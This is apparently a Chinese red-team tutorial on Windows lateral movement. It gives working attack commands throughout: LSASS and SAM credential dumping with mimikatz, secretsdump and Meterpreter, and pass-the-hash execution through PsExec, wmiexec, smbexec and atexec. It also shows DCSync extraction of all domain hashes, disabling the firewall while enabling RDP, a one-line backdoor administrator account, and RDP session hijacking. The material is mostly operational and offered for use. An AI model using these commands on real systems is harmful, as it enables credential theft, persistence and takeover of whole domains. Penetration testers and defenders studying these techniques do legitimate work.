横向移动是在内网中经常的操作,可以扩大攻击面,获得更多的信息,最终有可能拿下域控。
Dump Hash
横向移动肯定少不了抓取密码的环境。
Windows 在进行本地登录认证时操作系统会使用用户输入的密码作为凭证去与系统中的密码进行对比验证。通过 winlogon.exe
接收用户输入传递至 lsass.exe
进行认证。
winlogon.exe
用于在用户注销、重启、锁屏后显示登录界面。 lsass.exe
用于将明文密码变成 NTLM Hash 的形式与 SAM 数据库比较认证。
因此本地用户名、散列值和其他安全信息都保存在 SAM 文件,这个文件的位置是在 C:\Windows\System32\config
,被锁定,不允许复制。而 lsass.exe
进程实现 Windows 的安全策略,我们可以用工具将散列值或明文密码从内存中的 lsass.exe
进程或 SAM 文件中导出。
Windows Server 2012 及其以上版本默认关闭 Wdigest 认证,攻击者无法从内网中获取明文密码。当开启了 Wdigest 认证,用户下次登录的时候就可以获取明文密码。
开启 Wdigest 认证
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭 Wdigest 认证
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在域环境中,用户登录计算机大多数是域账号,大量计算机安装时会使用相同的本地管理员账号和密码,如果是这样的话,我们可以拿本地管理员的哈希通过哈希传递登录别的机子。
即使安装了 KB2871997 补丁的机器,也可以使用 SID 为 500 的用户的 NTLM HASH 进行 Hash 传递。
Prodump.exe
推荐用 prodump.exe 导出进程内存文件,并传回自己的电脑上面用 mimikatz 提取。因为 prodump.exe 是微软工具,杀软不会拦截。但是需要管理员权限。 2024.5.7 update: 涉及敏感操作例如读取 lsass.exe 的内存会拦截了。
- 首先以管理员权限,获取 LSASS 进程内存文件
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 然后可以用自己本机上的 mimikatz 导出密码了
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Msf
而在 Msf 中可以通过
meterpreter > run post/windows/gather/hashdump
获取 hash
或者也可以试试
meterpreter > load kiwi
meterpreter > lsa_dump_sam
impacket-secretsdump
impacket-secretsdump username:password@ip -target-ip ip
或者在管理员权限下只需要两个命令:
reg save HKLM\sam ./sam
reg save HKLM\system ./system
将 sam 和 system 下载到本地,利用
impacket-secretsdump -sam sam -system system LOCAL
即可获得所有用户的 hash
IPC & 计划任务
首先肯定是要了解我们最常见的 IPC 啦
IPC (Internet Process Connection), 是实现进程间通信而开放的命名管道。通过验证用户名和密码建立了 ipc$ 可以获得相应的权限,包括文件上传和下载以及dir
、tasklist
条件:
- 开启了 139、445 端口
- 管理员开启了默认共享
建立 ipc$
net use \\目标机器Ip\$ipc "密码" /user:用户名
然后使用 net use
命令就可以查看建立的连接
获取目标机器的信息
如:获取目标机器 c 盘文件信息
dir \\目标机器ip\c$
获取目标机器上的进程
tasklist /S 目标机器Ip /U 目标机器用户名 /P 目标机器密码
还可以上传文件
copy calc.bat \\目标ip\c$
然后就用定时任务进行执行。
如果是 Windows Server 2008 之前的版本可以用 at ,在这之后的版本被废弃了
用 at 命令在目标机器上创建定时任务
at \\目标ip 4:11PM C:\calc.bat
然后会知道创建任务的 ID
等待执行后将 at 记录进行清楚
at \\目标ip ID号 /delete
如果不能弹 Shell 也可以考虑定时任务命令执行写入文件然后远程读取
at \\目标ip 4:11PM cmd.exe /c "ipconfig" > C:/1.txt"
等待执行后读取
type \\目标ip\C$\1.txt
at 命令被废弃可以使用 schtasks 命令,需要有管理员权限
SCHTASKS /Create /TR "C:\windows\system32\calc.exe" /SC ONCE /Z
比如
执行 下面这一条命令表示在当天下午 4 点 45 分会执行名为 “My Task01” 的定时任务,执行内容是 calc.exe
SCHTASKS /CREATE /SC ONCE /ST 16:45:00 /TN "My Task01" /TR "cmd.exe /c 'calc'"
- /SC ONCE 表示执行一次
- /ST <时间> 表示任务开始的时间,时间格式为 HH:MM:SS
- /TN <任务名称>
- /TR <命令表示要执行的命令>
- /S <远程Ip>。如果操作省略 /S 则表示在本机上建立任务。
比如这一条
SCHTASKS /CREATE /SC ONCE /ST 16:48:00 /TN "ipconfig" /TR "cmd.exe /c 'ipconfig > d:\2.txt'"
其中 /c 表示执行指定字符串的内容。也就是在下午 4 点 48 分中执行 ipconfig 命令并将结果写道 d 盘下的 ipconfig.txt 注意写入位置的权限是否够,否则会出现类似命令执行失败的情况
再比如这一条将 SC 设置为 ONSTART 实现开机就执行
SCHTASKS /CREATE /SC ONSTART /TN "My Task" /TR "cmd.exe /c dir > c:\1.txt"
如果不想等待的话也可以直接运行,只需要指定好任务名
SCHTASKS /run /TN "My Task01"
查询命令
SCHTASKS /QUERY /TN "任务名"
记得删除定时任务 ,这是一个交互式的命令,需要有交互式 shell 才能够执行
SCHTASKS /DELETE /TN "任务名"
impacket-atexec
当然这上面的步骤可以直接使用 impacket-atexec
工具进行,但是不能提供交互式的 shell,只能一条命令一条命令进行执行。利用该工具也可以进行 hash 传递的方式,而不需要使用密码
eg:
┌──(root㉿LAPTOP-B9A811D6)-[~]
└─# impacket-atexec administrator:[email protected] whoami
Impacket v0.11.0 - Copyright 2023 Fortra
[!] This will work ONLY on Windows >= Vista
[*] Creating task \KypSFcDE
[*] Running task \KypSFcDE
[*] Deleting task \KypSFcDE
[*] Attempting to read ADMIN$\Temp\KypSFcDE.tmp
[*] Attempting to read ADMIN$\Temp\KypSFcDE.tmp
nt authority\system
PsExec
如果获取了明文密码,我们可以用 msf 的 exploit/windows/smb/psexec
模块进行传递攻击。也可以用微软的 PsExec.exe 工具进行传递。
要使用 psexec,至少要满足以下要求:
- 远程机器的 139 或 445 端口需要开启状态,即 SMB;
- 明文密码或者 NTLM 哈希;
- 具备将文件写入共享文件夹的权限;
- 能够在远程机器上创建服务:SC_MANAGER_CREATE_SERVICE
- 能够启动所创建的服务:SERVICE_QUERY_STATUS && SERVICE_START
psexec 通过连接 smb 共享,并且上传恶意服务文件到共享目录,进而调用 svcctl
服务启动 psexec,之后再建立命名管道重定向输入、输出、错误输出的内容。并且还会尝试通过模拟客户端窃取 token
将 administrator 提升至 system 权限。涉及到上传文件,难免就会遇到杀毒软件拦截的情况,需要注意。
PsExec.exe
如果是 PsExec.exe 且建立了 ipc$ 连接,直接
PsExec.exe -accepteula \\ip -s cmd.exe
就可以获得 shell
impacket-psexec
但是如果我们没有明文密码只有 hash 怎么办?那就可以用著名的 impacket 中的 psexec.py 进行 hash 传递攻击。
impacket-psexec -hashes :ntml_hash ./用户名@ip
SMBExec
smbexec 的利用方式与 Psexec 非常类似,但是不会将二进制文件写入磁盘,而是通过一个批处理文件和临时文件来执行和转发消息。需要开启 139 和 445 端口。依旧涉及到了建立 ipc$ 连接的操作。
impacket-smbexec
操作例如:
impacket-smbexec username@ip -hashes hash
WMIExec
全称为 Windows management instrumentation
目标需要开启 135、445 端口。
Windows 默认不会将 WMI 的操作记录在日志中,大大提高了隐蔽性。基本上能用 psexec 方式的地方都能用 wmi,因此推荐使用这个方式。
利用原理:
整个过程是先调用 WMI 通过账号密码或者 NTLM 认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC 连接。随后 WMI 会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI 创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过 FSO 组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用 WMI 执行命令删除结果文件。最后当 WMIEXEC 退出时,删除文件共享。
ipc & wmic
有密码的话,肯定要尝试建立一下 ipc$
wmic /node:目标Ip /user:用户名 /password:密码 process create "cmd.exe /c ipconfig > c:\1.txt"
通过 ipc$ 进行读取
type \\目标ip\c$\1.txt
impacket-wmiexec
我们可以使用 impacket-wmiexec 完成上述的操作,获得一个半交互式的 shell
使用密码的方式:
impacket-wmiexec username:passwd@ip
hash 传递方式
impacket-wmiexec username@ip -hashes hash
Dcomexec
DCOM(Distracted Component Model,分布式组件对象模型)是基于 COM 的一系列概念和程序接口,支持不同机器上的组件间通信。利用 DCOM,客户端程序对象可以请求来自网络中另一台计算机上的服务器程序对象。
使用DCOM在远程主机上面执行命令,需要具有以下条件:
- 具有管理员权限的 PowerShell
- 可能需要关闭目标系统的防火墙
- 在远程主机上执行命令时,必须使用域管的 administrator 账户或者目标主机具有管理员权限的账户
impacket-dcomexec
eg:
impacket-dcomexec [email protected] command -hashes hash
PTK
PTH 和 PTT 就不再说了。这里就来提一下 PTK(Pass The Key)密钥传递攻击。我们知道,当打了 KB2871997 补丁以后除了 SID 500 以为的用户无法通过 PTH 登录,但有时候我们需要横向到其他的普通主机上进行收集信息。或者当 NTLM 协议被 ban 了但是 Kerberos 协议还可以使用的时候,我们可以通过 PTK 的方式进行横向移动。
例如:我们仍然可以使用 impacket-psexec
并添加 -aesKey
指定使用 PTK 方式
WinRM
Windows 远程管理(winrm),允许通过 HTTP(S) 使用 SOAP 远程管理 Windows 机器。如果机器上启用了 WinRM,则可以轻松地从 PowerShell 远程管理该机器。我们可以通过检测 5985(http) 或 5989(https) 端口判断是否配置 winrm。
在专用网络上,默认的 PowerShell 远程处理 Windows 防火墙规则接受所有连接。 在公用网络上,默认 Windows 防火墙规则仅允许来自同一子网内的 PowerShell 远程处理连接。 必须明确地更改该规则,以将 PowerShell 远程处理打开到公用网络上的所有连接。
evil-winrm
我们可以使用 evil-winrm 这个工具在拥有 hash 或者密码的时候进行远程连接。
eg:
evil-winrm -i ip -u username -p passwd
RDP
开启 3389 命令 (需要管理员权限)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off
一键添加管理员用户,可进行远程桌面的登录
net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD
Rdp Hijack
Windows系统下,tscon
可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。
可以通过 query user
来列出所有登录的用户列表,得到 id
在SYSTEM权限下,使用 tscon <ID>
来切换用户不需要验证密码。
xfreerdp
这个工具似乎也可以 pth,但没有测试过。
eg :
xfreerdp /u:username /p:password [/pth:hash] /v:ip:[port]_or_domain [/proxy:] [/timeout:80000]
如果 transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]
则可以加上 /tls-seclevel:0
gotohttp
每次 3389 都因为各种各样的原因连不上去,但是目标环境又出网,这个时候就可以考虑借助第三方远控软件进行直接连接了。比如 gotohttp 只需将 gotohttp.exe 上传到目标机器上运行,读取配置文件(id,code),即可在 gotohttp.com 上进行控制。该程序不仅仅支持 Windows,还可以支持 Linux、Mac 甚至是 Android
DCSync
如果域中有多台域控,那么基于 DRSR (Directory Replication Service Remote Protocol) 协议每隔一段时间就会有一次域数据同步。需要同步的域控服务器向其他服务器发送 GetNCChanges 请求。
这时我们就可能会想到,如果我们在域环境中能够伪造一个域控,请求真实的域控获得相关数据,岂不是就能够获得域内所有用户的信息?而这种攻击方式确实存在,被称为 DCSync 攻击
这种方式需要满足以下任一一种权限(我们可以将自己的 shell 迁移到本机上的相应进程,也可以满足):
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控制器的计算机帐户
或者拥有特定的几条 DACL:
- DS-Replication-Get-Changes
- DS-Replication-Get-Changes-All
- DS-Replication-Get-Changes-In-Filtered-Set
Mimikatz
当满足上面的条件我们可以用 Mimikatz 这个工具实现导出域成员的 Hash
# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:example.org /user:administrator
lsadump::dcsync /domain:example.org /user:administrator /csv
# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:example.org /all
lsadump::dcsync /domain:example.org /all /csv
Msf
或者使用 Msf 框架
meterpreter > dcsync_ntlm administrator
meterpreter > dcsync_ntlm krbtgt
进程注入
在已控制主机中我们可以寻找域管理员权限的进程,进行进程注入后可直接与域控建立 IPC 连接,无需密码。
Exchange
Exchange 邮箱服务器有五个服务器角色:
- 邮箱服务器:提供托管邮箱、公共文件夹以及相关消息数据的后端组件,必选
- 客户端访问服务器:接收和处理来自不同客户端请求的服务器角色,为通过不同的协议进行的访问提供支持。至少需要部署一个
- 集线传输服务器:也叫做中心传输服务器,负责 Mail Flow、对邮件进行路由以及 Exchange 组织中进行分发。处理所有发往本地邮箱和外部邮箱的邮件,确保邮件发送者和接收者的地址能够正确地被解析和执行特定的策略。至少部署一个
- 统一消息服务器:将专用转换机和 Exchange 服务器集成在一起。可选角色
- 边缘传输服务器:可用于路由发往内部或外部的邮件,通常部署在网络边界并用于设置安全边界,可选
除了边缘传输服务器外,其他服务器角色都可以部署在同一台主机上。只需要有邮箱服务器、客户端访问服务器、集成传输服务器这三个角色就可以提供基本的电子邮件处理功能
如何发现 Exchange 服务器呢?有:端口扫描、SPN 查询
eg:
setspn -Q IMAP/*
Exchange 数据库的后缀为 “.edb” 存储在 Exchange 服务器上
可以在这里根据版本号查具体版本 https://learn.microsoft.com/zh-cn/exchange/new-features/build-numbers-and-release-dates
漏洞
也可以考虑用一些历史漏洞进行横向移动
MS14-068
一个久远的漏洞。此漏洞使攻击者能够通过添加虚假声明,修改现有的有效域用户登录令牌,从而允许攻击者以任意用户的权限提升到域管理员帐户权限。
漏洞利用前提:
1.域控没有打 MS14-068 的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和 sid
MS17-010
永痕之蓝,一个攻击 SMB 的漏洞。
CVE-2020-1472 (ZeroLogon)
攻击 NetLogon (RPC),一个用于域上网络用户和计算机的身份验证协议。可以将域控的密码置为 0,相当于已知密码通过 pth 可以直连。该漏洞不要求当前计算机在域内,只要能访问到目标域控并且知道域控主机名和域控 ip 即可利用。
CVE-2021-42287/CVE-2021-42278 (nopac)
这是一个攻击 Kerberos 认证协议的漏洞。原理见:https://xz.aliyun.com/t/10694#toc-19。该漏洞允许攻击者在仅有一个普通域账号的场景下,利用该漏洞接管全域。
CVE-2021-34527 (PrintNightmare)
这是一个攻击 Windows Print Spooler 服务的漏洞,加载恶意 dll 实现 RCE。原理见:https://paper.seebug.org/1632/#_1
利用条件:
- 一个普通权限的域账户
- 目标开启 Spooler 服务
- 创建的 smb 服务允许匿名访问,即目标可以直接获取到文件
CVE-2022-26923
该漏洞是由于在申请证书时对 AD 域中的计算机账户身份审核不够严格,经过身份验证的攻击者可以操纵他们拥有或管理的计算机帐户的属性,假冒 DC 从 AD CS 服务器获取 DC 证书,最终导致普通权限用户提升至域管理员权限。
成功利用该漏洞需要满足以下几个必要条件:
1、攻击者获取到一个通过认证的普通域用户凭据或计算机账户凭据
2、AD 域内已配置了 AD CS (AD 证书服务)默认是没有打开的
3、Machine模板证书可以自动申请
https://systemweakness.com/exploiting-cve-2022-26923-by-abusing-active-directory-certificate-services-adcs-a511023e5366(给出了详细的利用步骤)
https://www.freebuf.com/articles/network/335726.html